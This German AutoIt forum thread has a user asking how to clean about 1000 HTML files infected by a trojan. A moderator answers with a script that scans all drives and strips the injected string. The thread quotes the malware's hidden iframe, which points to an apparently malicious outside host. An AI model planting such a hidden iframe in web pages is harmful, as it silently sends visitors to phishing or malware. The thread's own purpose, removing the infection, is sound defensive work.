HTML DATEIEN BEARBEITEN

  • Hallo Leute,

    ich hab ein kleines Problem..
    und zwar ich hab einen Trojaner abgekommen, der in jede HTML DATEI auf meinen Rechner und externer Platte einen IFRAME eingefügt hat und mich somit einen Pishingversuch startet wenn ich die html datei öffne...
    nun muss es doch möglich seinen ein Programm zu schreiben das alle HTML Dateien durchsucht und die gewisse Zeile rauslöscht...

    Könnt ihr Mir da helfen? Wäre wichtig.. weil es soviele Wichtige Sachen sind...

  • Nimm nen antivir programm und lösch den trojaner wenn dies nicht geht dann geh in ein trojaner forum denen musst du dann einige datein geben und die sagen dass wie du ih nwegbekommst.

  • da ich das zeug so schnell wie möglich loswerden will..
    ich nicht so der AutoIT könner bin.. (bei mir würde es länger dauern)
    wäre es cool.. wenn ich evtl ein paar codeschnipsel oder so haben könnte..

  • also es sind ca 1000 hmtl dateien befallen.. auf meiner externen.. und da ich nicht alle selber geschrieben habe.. kann es gut sein..

    er schreibt diese Zeile in die Datei..

    Spoiler anzeigen

    <iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>

    also wäre es wohl sinnvoll auf das andere auch noch zu prüfen..

    • Offizieller Beitrag

    Mit diesem Script werden alle Festplatten, die an Deinen Rechner angeschlossen sind, nach HTML-Dateien (.htm und .html) durchsucht und die gefundenen Dateien daraufhin überprüft, ob der IFrame sich dort drin befindet. Wenn ja, wird er entfernt und die Datei mit der gesäuberten Version überschrieben. Dateien, in denen der IFrame gefunden wurde, werden in der Console ausgegeben.

    Spoiler anzeigen
    [autoit]


    $aDrives = DriveGetDrive('FIXED')
    ProgressOn('HTML-Reinigung', '', '0 Prozent', @DesktopWidth/2-100, @DesktopHeight/2-100, 16)
    For $i = 1 To $aDrives[0]
    $iPercentAll = Round(100 / $aDrives[0] * ($i-1), 2)
    ProgressSet($iPercentAll, $iPercentAll & ' Prozent', 'Festplatte "' & StringUpper($aDrives[$i]) & '" wird durchsucht.')
    $aFiles = _RecursiveFileListToArray($aDrives[$i], '.*\.htm|.*\.html', 1)
    For $j = 1 To $aFiles[0]
    $iPercent = Round($iPercentAll + (100 / $aDrives[0] / $aFiles[0] * $j), 2)
    ProgressSet($iPercent, $iPercent & ' Prozent')
    $sFile = FileRead($aFiles[$j])
    If Not @error Then
    $sFile = StringReplace($sFile, '<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>', '')
    If @extended > 0 Then
    ConsoleWrite($aFiles[$j] & @CRLF)
    FileSetAttrib($aFiles[$j], '-R')
    $hFile = FileOpen($aFiles[$j], 2)
    If $hFile <> -1 Then
    FileWrite($hFile, $sFile)
    FileClose($hFile)
    EndIf
    EndIf
    EndIf
    Next
    Next
    ProgressOff()
    Exit

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;===============================================================================
    ; Function Name: _RecursiveFileListToArray($sPath, $sPattern, $iFlag = 0, $iFormat = 1, $sDelim = @CRLF)
    ; Description:: gibt Verzeichnisse und/oder Dateien (rekursiv) zurück, die
    ; einem RegExp-Pattern entsprechen
    ; Parameter(s): $sPath = Startverzeichnis
    ; $sPattern = ein beliebiges RexExp-Pattern für die Auswahl
    ; $iFlag = Auswahl
    ; 0 = Dateien & Verzeichnisse
    ; 1 = nur Dateien
    ; 2 = nur Verzeichnisse
    ; $iFormat = Rückgabeformat
    ; 0 = String
    ; 1 = Array mit [0] = Anzahl
    ; 2 = Nullbasiertes Array
    ; $sDelim = Trennzeichen für die String-Rückgabe
    ; Requirement(s): AutoIt 3.3.0.0
    ; Return Value(s): Array/String mit den gefundenen Dateien/Verzeichnissen
    ; Author(s): Oscar (http://www.autoit.de)
    ; Anregungen von: bernd670 (http://www.autoit.de)
    ;===============================================================================
    Func _RecursiveFileListToArray($sPath, $sPattern, $iFlag = 0, $iFormat = 1, $sDelim = @CRLF)
    Local $hSearch, $sFile, $sReturn = ''
    If StringRight($sPath, 1) <> '\' Then $sPath &= '\'
    $hSearch = FileFindFirstFile($sPath & '*.*')
    If @error Or $hSearch = -1 Then Return SetError(0, 0, $sReturn)
    While True
    $sFile = FileFindNextFile($hSearch)
    If @error Then ExitLoop
    If StringInStr(FileGetAttrib($sPath & $sFile), 'D') Then
    If StringRegExp($sPath & $sFile, $sPattern) And ($iFlag = 0 Or $iFlag = 2) Then $sReturn &= $sPath & $sFile & '\' & $sDelim
    $sReturn &= _RecursiveFileListToArray($sPath & $sFile & '\', $sPattern, $iFlag, 0)
    ContinueLoop
    EndIf
    If StringRegExp($sFile, $sPattern) And ($iFlag = 0 Or $iFlag = 1) Then $sReturn &= $sPath & $sFile & $sDelim
    WEnd
    FileClose($hSearch)
    If $iFormat Then Return StringSplit(StringTrimRight($sReturn, StringLen($sDelim)), $sDelim, $iFormat)
    Return $sReturn
    EndFunc

    [/autoit]
  • hallo oscar.. =)

    Super danke.. =)
    aber.. irgendwie bringt der jedesmal datei bschädigt..

    und hab stichprobenartig nachgeschaut.. da hat er es dann eben nicht entfernt..